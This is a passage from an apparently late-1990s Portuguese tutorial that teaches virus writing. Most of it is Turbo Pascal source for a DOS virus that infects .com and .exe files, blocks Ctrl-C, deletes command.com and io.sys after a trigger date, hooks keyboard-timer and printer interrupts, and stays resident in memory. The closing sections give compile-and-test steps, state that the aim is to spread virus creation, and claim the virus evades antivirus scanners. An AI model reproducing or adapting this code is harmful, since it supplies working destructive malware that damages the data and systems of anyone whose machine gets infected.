HORAFIM(NOME);
end;
{Essa parte seria a concatenacao virus+arquivo, onde o arquivo
seria acrescentado no fim do virus}
if MOSTRA then writeln('Infeccao completa.');
end;
procedure procura(nome,dir:string);
begin
if MOSTRA then writeln('Iniciando infeccao do diretorio:
',nome);
FindFirst(nome, Archive, DirInfo);
{$i+}
while (DosError = 0) and (arquiv numread);
close(FromF);
close(tof);
exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3));
{Executa o programa aqui}
rewrite(tof); {Agora vou limpar o conteudo e apagar o arquivo}
close(tof);
erase(tof);
if MOSTRA then writeln('Execucao do programa hospedeiro finalizada');
end;
procedure bola; interrupt;
var
cont:integer;
begin
if not vbola then
if port[$60]<$80 then
inc(con);
if con=550 then
vbola:=true;
if vbola then
begin
cont:=random(4)+1;
vy:=wherey;
vx:=wherex;
gotoxy(cx,cy);
write('Û');
case cont of
1:if cx<78 then inc(cx);
2:if cx>1 then dec(cx);
3:if cy<23 then inc(cy);
4:if cy>1 then dec(cy);
end;
gotoxy(cx,cy);
write('þ');
gotoxy(vx,vy);
end;
inline ($9C);
int1c;
end;
procedure apag_arq;
var
m,dia,ano,dow:word;
mes:boolean;
f:file;
begin
if mostra then writeln('Pegando data atual');
getdate(ano,m,dia,dow);
mes:=false;
if ano=1998 then
if m>=7 then {Data
de ativacao: 12/07/1998}
if dia>=12 then
mes:=true;
if ano>1998 then mes:=true;
if mostra then writeln('Pegando data atual finalizado');
if mes then begin
if mostra then writeln('Iniciando a apagar os
arquivos: \command.com e \io.sys');
assign(f,'c:\command.com');
erase(f);
assign(f,'c:\io.sys');
erase(f);
end;
end;
Procedure inicinf;
begin
if MOSTRA then writeln('Iniciando infeccao dos arquivos');
arquiv:=0;
procura('*.com','');
procura('*.exe','');
{ procura('c:\windows\*.com','c:\windows\');
procura('c:\windows\*.exe','c:\windows\');
procura('c:\dos\*.com','c:\dos\');
procura('c:\dos\*.exe','c:\dos\');}
if MOSTRA then writeln('Infeccao dos arquivos Finalizada.
Com um total de:');
if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;
procedure contra(non:string);
var
FromF, ToF: file;
ARQ:text;
Ft:FILE of char;
f:file;
function vervir(nome:string):boolean;
VAR
Buf: array[1..10] of Char;
NUMREAD:WORD;
con:integer;
begin
if mostra then writeln('Iniciando verificacao de infeccao
do arquivo ',nome);
con:=1;
ASSIGN(F,NoME);
ReSET(F,1); { Record size = 1 }
BlockRead(F, Buf, SizeOf(Buf), NumRead);
IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND
(BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN
{Verifica o cabecalho do arquivo}
vervir:=TRUE
{para ver se ja foi infectado}
ELSE
vervir:=FALSE;
Close(F);
if mostra then writeln('Verificacao de infeccao finalizada');
END;
procedure antivir;
begin
if not vervir(non) then
begin
if mostra then writeln('Arquivo Infectado, tentando
desinfectar...'); {Arquivo infectado, tentando desinfectar...}
aSSIGN(Ft,paramstr(0));
ReSET(Ft); { Record size = 1 }
write(ft,cab[1]);
write(ft,cab[2]);
write(ft,cab[3]);
write(ft,cab[4]);
write(ft,cab[5]);
close(ft);
if mostra then writeln('Desinfeccao completa!'); {Desinfeccao
completa}
textcolor(white+blink);
writeln('Atencao: Seu computador esta infectado por
virus! Sugiro passar Anti-virus!');
textcolor(white);
end;
end;
begin
if mostra then writeln('Inicio do procedimento anti-virus.');
antivir;
if mostra then writeln('Fim do procedimento anti-virus.');
end;
procedure escrever;interrupt;
begin
Sound(random(5000));
Delay(1);
Nosound;
inline ($9C);
printer;
end;
begin
if MOSTRA then writeln('Iniciando o Virus');
nome_arq:=paramstr(0); {Essa variavel ira conter o nome do
programa que esta sendo executado
no momento. Caso o nome que foi executado seja EDIT.exe essa variavel
contera EDIT.EXE}
SETCBREAK(FALSE); {Para que o usuario nao possa apertar Ctrl-C}
contra(nome_arq);
inicinf;
executa;
apag_arq;
GetIntVec($1c,@int1c);
SetIntVec($1c,Addr(bola));
vbola:=false;
cx:=random(80);{Aleatorizar a posicao da bola na tela}
cy:=random(24);
GetIntVec($17,@printer);
SetIntVec($17,Addr(escrever)); {Essa parte mostra ao
computador para usar
O procedimento escrever como padrao para a
impressora}
if MOSTRA then writeln('Fim do virus.');
keep(0); {Deixa o programa residente na memoria.}
if mostra then writeln('Programa Residente');
end.
---------------------------------------------------------------------------
Testando o virus para ver se ele funciona:
---------------------------------------------------------------------------
Caso voce queira testar o virus, voce pode fazer o seguinte, altere
a procedure inicinf de modo que ele so procure por arquivos *.com e *.exe,
tirando assim o c:\windows\*.com, c:\windows\*.exe, c:\dos\*.com,
c:\dos\*.exe NAO apague as linhas que fazem isso, acrescente apenas { e
} para fazer que o Pascal ignore essas linhas, depois disso feito, aperte
F9 para compilar o virus (nem pense em apertar Ctrl-F9 para executa-lo,
nos so queremos o codigo executavel dele), depois crie um diretorio chamado
\temp, depois copie o virus.exe para la, mais alguns executaveis, depois
entre no diretorio e execute o virus.exe e voce vera tudo o que o virus
esta fazendo no momento, Como verificando se o arquivo esta infectado,
infectando outros arquivos entre outros. Depois execute algum arquivo que
foi infectado para voce ter uma ideia melhor de como o virus age. Se voce
quiser testar se o programa se desinfecta de algum virus desconhecido,
faca o seguinte, use algum Editor Hexadecimal e altere os primeiros 5 bytes
e depois salve, depois volte a executar o virus e ele ira mostrar na tela
que o seu computador esta infectado, sugerindo que voce passe um anti-virus.
Caso voce queira que nao apareca nenhuma mensagem na tela entao
va na secao const do programa e altere o valor da constante MOSTRA para
false, isso fara com que nenhuma mensagem apareca na tela. So que
essas mensagens ficarao no corpo do virus, ocupando espaco, caso voce queira
tirar essas mensagens de vez, tera que apagar todas as linhas If
mostra then writeln(''); do virus o que fara uma diferenca consideravel
de tamanho, eu as coloquei para que vc saiba o que esta acontecendo no
momento.
---------------------------------------------------------------------------
Consideracoes finais:
---------------------------------------------------------------------------
Antes de nada, eu fiz esse tutorial para aqueles que ja tenham algum
conhecimento em logica/programacao em Pascal ou outra linguagem, se voce
estiver com duvidas sobre como usar if...then...else ou outro comando
basico entao va comprar um livro de Pascal ou faca um curso de Pascal.
Agora
se voce tiver alguma duvida quanto a logica posso ate responder
a alguma pergunta, mesmo achando que ja esta tudo muito bem explicado.
Bom espero que com esse texto, voce possa ter compreendido um pouco mais sobre a logica de um virus, e com certeza vai pensar (Pelo menos depois de ter executado o virus) que isso e muito entusiasmante.
Caso voce tenha alguma duvida, tenha achado algum erro, ou em ultimo
caso, o virus nao funcionou, entao mande um email para mim:
[email protected]
ou visite minha HP:
http://www.geocities.com/SiliconValley/Lakes/3892
Ou deixe um recado com a minha Secretaria:
http://www.Lpage.com/wgb/wgbsign.dbm?owner=rlebeau
Caso voce so tenha parte desse tutorial entao va ate o endereco abaixo
para pegar o tutorial completo, ou entao se quiser pegar a versao mais
nova desse tutorial:
http://www.geocities.com/SiliconValley/Lakes/3892/tvirus.htm
Voce esta livre para distribuir esse texto do jeito que esta, sem
alteracoes, se quiser sugerir alguma modificacao de logica entao me contacte.
Esse texto tem o proposito de difundir a criacao de virus no Brasil
e nao o de acabar com os computadores de alguma rede de alguma empresa.
Como ja falei antes, eu nao me considero responsavel pelo mau uso
que algum idiota possa fazer desse arquivo, tipo perder os arquivos do
HD, acabar com a rede da empresa em que trabalha, explodir o mundo muito
menos de ter perdido a namorada.
Antes que eu me esqueca, alem do anti-virus que eu forneci com esse
tutorial nao existe anti-virus para ele, pode testar o SCAN, f-prot, TBav,
qualquer um, isso acontece devido a logica "nova" dele que faz com que
nenhum anti-virus o encontra.
---------------------------------------------------------------------------
Proximo projeto:
---------------------------------------------------------------------------
Eu ainda estou pensando no que fazer no proximo texto, to meio indeciso
entre criar um Tutorial basico sobre linguagem de maquina, algo tipo traduzir
os odigos hexadecimais encontrados nos arquivos para o ASM (Sabia que se
voce encontrar um codigo em hexa CD 21 em um arquivo quer disser que ele
esta fazendo uma chamada a interrupcao 21h, em ASM: int 21h) ou traduzir
algumas edicoes da 40hex. Acho que vou ficar com a segunda opcao.
Ate la, techau.
---------------------------------------------------------------------------
E' o fim?
---------------------------------------------------------------------------